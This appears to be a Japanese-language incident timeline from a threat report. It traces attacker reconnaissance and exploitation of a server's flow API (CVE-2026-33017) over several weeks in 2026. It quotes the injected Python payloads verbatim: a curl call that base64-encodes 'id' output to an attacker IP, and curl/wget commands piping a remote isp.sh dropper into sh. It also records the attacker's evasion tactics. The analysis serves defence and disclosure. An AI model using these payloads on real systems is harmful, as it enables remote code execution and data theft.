日時（UTC）	活動	詳細/ペイロード	作戦保全（OPSEC）上の備考
2026年3月27日 18:50:10-18:50:15	ユーザエージェントを切り替えながら偵察（5秒間で10リクエスト）	コマンド「GET」を用いて各種APIにアクセスする： 「/」、「/api/v1/version」、「/health」、「/health_check」、「/manifest.json」 さまざまな偽装ユーザエージェントを利用する：Safari/16.1.13（Mac）、Chrome/136（Kubuntu）、Firefox/3.6（Linux、2010-era)、Chrome/126（Win10）、Chrome/114（Linux）、Firefox/3.6.14、Firefox/58、Safari（Mac 10.15.7、10.14.6）	シグネチャベースの防御を回避するため、ユーザエージェントを切り替えながら環境を識別する。
2026年3月27日 19:14:33	最初の認証試行：GET /api/v1/auto_login	ユーザエージェントを「python-requests/2.25.1」に切り替える。	上記の偵察活動から25分の空白期間がある。
2026年3月27日 19:15:04	初期エクスプロイト：ID情報の窃取	__import__('os').system('curl hxxp[://]83[.]142[.]209[.]214[:]80/$(id | base64 -w0)') コマンド「id」の実行結果をBase64形式でエンコードし、URLパスに埋め込む形で攻撃者のサーバ（80番ポート）に送信する。 Pythonクラス名を「ExploitComponent」、概要情報（desc）を「CVE-2026-33017 PoC（Proof-of-Concept：攻撃手段の概念実証）」に設定する。	RCEのテスト中であり、まだドロッパ型マルウェアの取り込みは行わない。
2026年3月27日 19:20:46	ハードコーディングによるroot権限証明の確認	文字列「uid=0(root) gid=0(root) groups=0(root)」をBase64形式に変換した固定データをポート80に送信する。	攻撃者は、標的がrootで動作していることを事前に把握している。そのため、動的にコマンドを実行して情報を盗み出すのではなく、事前に準備した固定の証明データを送信している。
2026年3月27日 21:20:42	2回の自動ログイン試行、エクスプロイトはなし	セッションがまだ有効であるかを確認しているものと見られる。	上記の活動から2時間の空白期間がある。
2026年3月27日 23:20:35	自動ログイン + GET /api/v1/flows/：エクスプロイト前の事前準備	POSTリクエストの送信前に、サーバ内に存在するフローの一覧を取得する。	初期エクスプロイトから4時間が経過している。

2026年3月27日 23:20:37	最初のドロッパ設置の試み（ダウンロードのみで、実行しない）	__import__('os').system('curl -k hxxp[://]83[.]142[.]209[.]214[:]8080/isp[.]sh') スクリプト「isp.sh」をダウンロードするが、パイプ処理（| sh）が無いため、実行には至らない。 Pythonクラス名は、以前同様「ExploitComponent」に設定する。	SSLエラーを無視するため、フラグ「-k」を指定している。
2026年3月27日 23:25:29	作戦保全に絡む名前変更とドロッパ設置（ダウンロードのみ）	前回同様、パイプ処理無しでコマンド「curl -k ... isp.sh」を実行する。 表示名（display_name）を「FFComponent」、概要情報を「flowChat」に変更する。Pythonクラス名は、以前同様「ExploitComponent」に設定する。	作戦保全に絡む方針転換を行っている。「CVE-2026-33017 PoC」といったいかにも不審な名前を止めて、一見無害そうな名前に切り替えている。
2026年3月27日 23:26:55	最初のドロッパ実行	__import__('os').system('curl hxxp[://]83[.]142[.]209[.]214[:]8080/isp[.]sh | sh') パイプ処理（| sh）の追加により、ダウンロードしたスクリプトをその場で実行する。エラー無視フラグ「-k」は削除されている。 表示名を「FFComponent」、 概要情報を「flowChat」に設定する。	ダウンロードのみのテストから1分26秒後、実際の実行に踏み切っている。
2026年3月27日 23:31:33	wgetを用いた代替手段	__import__('os').system('wget -O - hxxp[://]83[.]142[.]209[.]214[:]8080/isp[.]sh | sh') ダウンロードコマンド「curl」が利用できない場合に備え、別のコマンド「wget」による手法をテストしている。	直前の活動から4分38秒後、代替のダウンロード機能をテストしている。
2026年3月30日 21:07:34	ブラウザを装った偵察：2度にわたってGETリクエストを「/」に送信	ユーザエージェントとして「Safari/605.1.15 (Mac OS X 10_15_7)」を利用する。エクスプロイトは行わない。	3日間の空白期間後、標的サーバがまだ稼働しているかを確認している。
2026年3月31日 07:33:46	2回の自動ログイン試行、即座のエクスプロイトはなし	ユーザエージェントとして「python-requests/2.25.1」を利用する。	次のエクスプロイト実行の3時間半前に、疎通確認を行っている。
2026年3月31日 10:59:59	再度の侵入試み：「wget」による代替手段の行使	先と同様に「wget -O - ... isp.sh | sh」を実行する。偽装用の名前「FFComponent」や「flowChat」を用いる。	前回の実行から4日間が経過している。

2026年4月13日 17:07:50	偵察およびTLS確認	Knoppixのユーザエージェントを用いてGETリクエストを「/」に送信する。次いで、バイナリ形式の 「TLS ClientHello（暗号化通信を開始する際のハンドシェイク信号）」を送信する。	13日の長い空白期間を経て、攻撃者が再び活動を行っている。
2026年4月14日 10:46:05 – 18:53:05	偵察およびTLS確認	Debian/Linux や Firefox のユーザエージェントを用いて複数のGETリクエストを送信する。	探索活動を続けている。
2026年4月15日 08:33:08	偵察	Knoppixのユーザエージェントを用いてGETリクエストを「/」に送信する。	同日に行うエクスプロイトに向けた事前確認に相当する。
2026年4月15日 14:13:51	最後に確認されたエクスプロイト	__import__('os').system('curl hxxp[://]83[.]142[.]209[.]214[:]8080/isp[.]sh | sh') 以前の「curl」と同様の手段を利用する。「FFComponent/flowChat」のネーミングを再度利用する。	初期アクセスからすでに19日が経過している。特定の標的を執拗に狙っていることがうかがえる。